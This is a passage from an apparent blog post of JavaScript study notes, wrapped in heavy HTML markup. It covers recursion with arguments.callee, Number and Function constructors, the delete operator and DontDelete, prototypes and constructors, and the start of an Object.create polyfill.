functions recursively calling themselves.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;(&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;function(count){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;if (count &amp;lt; 5) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;alert(count);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;arguments.callee(++count);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;)(1)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Number object.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Number.MAX_VALUE will return the max value of that you can store in the number.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;toFixed - method returns the number to the significant decimal digits.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var n = new Number(123.456)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; n.toFixed(1)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;"123.5"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Simillar to Boolean(), the Number() function can be used as&amp;nbsp;normal functions in order to try to convert any value to a number. This is similar to the use of parseInt() or parseFloat(). OR&amp;nbsp;As a constructor function (with new) to create objects&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var n = Number('12.12');&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; n&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;12.12&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; typeof n&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;"number"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var n = new Number('12.12');&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; typeof n&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;"object"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;- Note that this is not the case with Function object, it with either new / with out it would create a function.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;var c = Function('a','return a;');&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;or &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; white-space: pre-wrap;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var f = new Function('a','return a;');&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;&amp;gt;&amp;gt;&amp;gt;typeof c&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;function&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;&amp;gt;&amp;gt;&amp;gt;typeof f&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;function&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;&lt;b&gt;Delete variables in javascript:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;&lt;a href="http://perfectionkills.com/understanding-delete/"&gt;Here&lt;/a&gt; is an excellent article from perfection kills on delete. The final gyst below&lt;/span&gt;&lt;br /&gt;&lt;ul style="background-color: white; color: #333333; font-family: 'Palatino Linotype', 'Book Antiqua', Palatino, serif; font-size: 16px; text-align: -webkit-auto;"&gt;&lt;li style="margin-bottom: 0px; margin-left: 0.75em;"&gt;Variables and function declarations are properties of either Activation or Global objects.&lt;/li&gt;&lt;li style="margin-bottom: 0px; margin-left: 0.75em;"&gt;Properties have attributes, one of which — DontDelete — is responsible for whether a property can be deleted.&lt;/li&gt;&lt;li style="margin-bottom: 0px; margin-left: 0.75em;"&gt;Variable and function declarations in&amp;nbsp;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: #ffffcc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;Global and Function code&lt;/strong&gt;&amp;nbsp;always create properties&amp;nbsp;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: #ffffcc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;with DontDelete&lt;/strong&gt;.&lt;/li&gt;&lt;li style="margin-bottom: 0px; margin-left: 0.75em;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: #ffffcc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;Function arguments&lt;/strong&gt;&amp;nbsp;are also properties of Activation object and are created&amp;nbsp;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: #ffffcc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;with DontDelete&lt;/strong&gt;.&lt;/li&gt;&lt;li style="margin-bottom: 0px; margin-left: 0.75em;"&gt;Variable and function declarations in&amp;nbsp;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: #ffffcc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;Eval code&lt;/strong&gt;&amp;nbsp;always create properties&amp;nbsp;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: #ffffcc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;without DontDelete&lt;/strong&gt;.&lt;/li&gt;&lt;li style="margin-bottom: 0px; margin-left: 0.75em;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: #ffffcc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;New properties&lt;/strong&gt;&amp;nbsp;are always created with empty attributes (and so&amp;nbsp;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: #ffffcc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;without DontDelete&lt;/strong&gt;).&lt;/li&gt;&lt;li style="margin-bottom: 0px; margin-left: 0.75em;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: #ffffcc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;Host objects&lt;/strong&gt;&amp;nbsp;are allowed to react to deletion&amp;nbsp;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: #ffffcc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;however they want&lt;/strong&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Javascript How functions / objects / Prototype / Constructor work.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;When you define a function in javascript, it by default would have a prototype property set. &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;This prototype is an reference object which has - constructor property which is a reference to the function itself and any other methods added to it explicitly and few other internal methods.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; white-space: pre-wrap;"&gt;When you create a object from a function (lets call it constructor function), using the new keyword, the following things happen.&lt;/span&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;An empty object is created, its internal __proto__ property is set to refer to same object that prototype of the constructor function (which is used to create it) is referring to.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;Then the Constructor function is called with the "this" of that it pointing to the newly created object.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;The Constructor then returns what ever value it has in return statement / the this object if nothing is returned.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;The above process helps in getting the inheritance going. &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;Good thing is that you can extend the prototype object of the constructor function and it would add that extension to all the objects that are so far created with this constructor.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;&lt;b&gt;Javascript OOP:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;&lt;b&gt;Prototypal Inheritance: &lt;/b&gt;object.create()&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;Object.create() is automatically present in new browsers. For old browsers, use the following.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;pre class="default prettyprint" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"&gt;&lt;code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;// helper function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;if&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;typeof&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Object&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;create &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;!==&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;'function'&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;)&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Object&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;create &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;o&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;)&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; F&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;()&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{}&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; 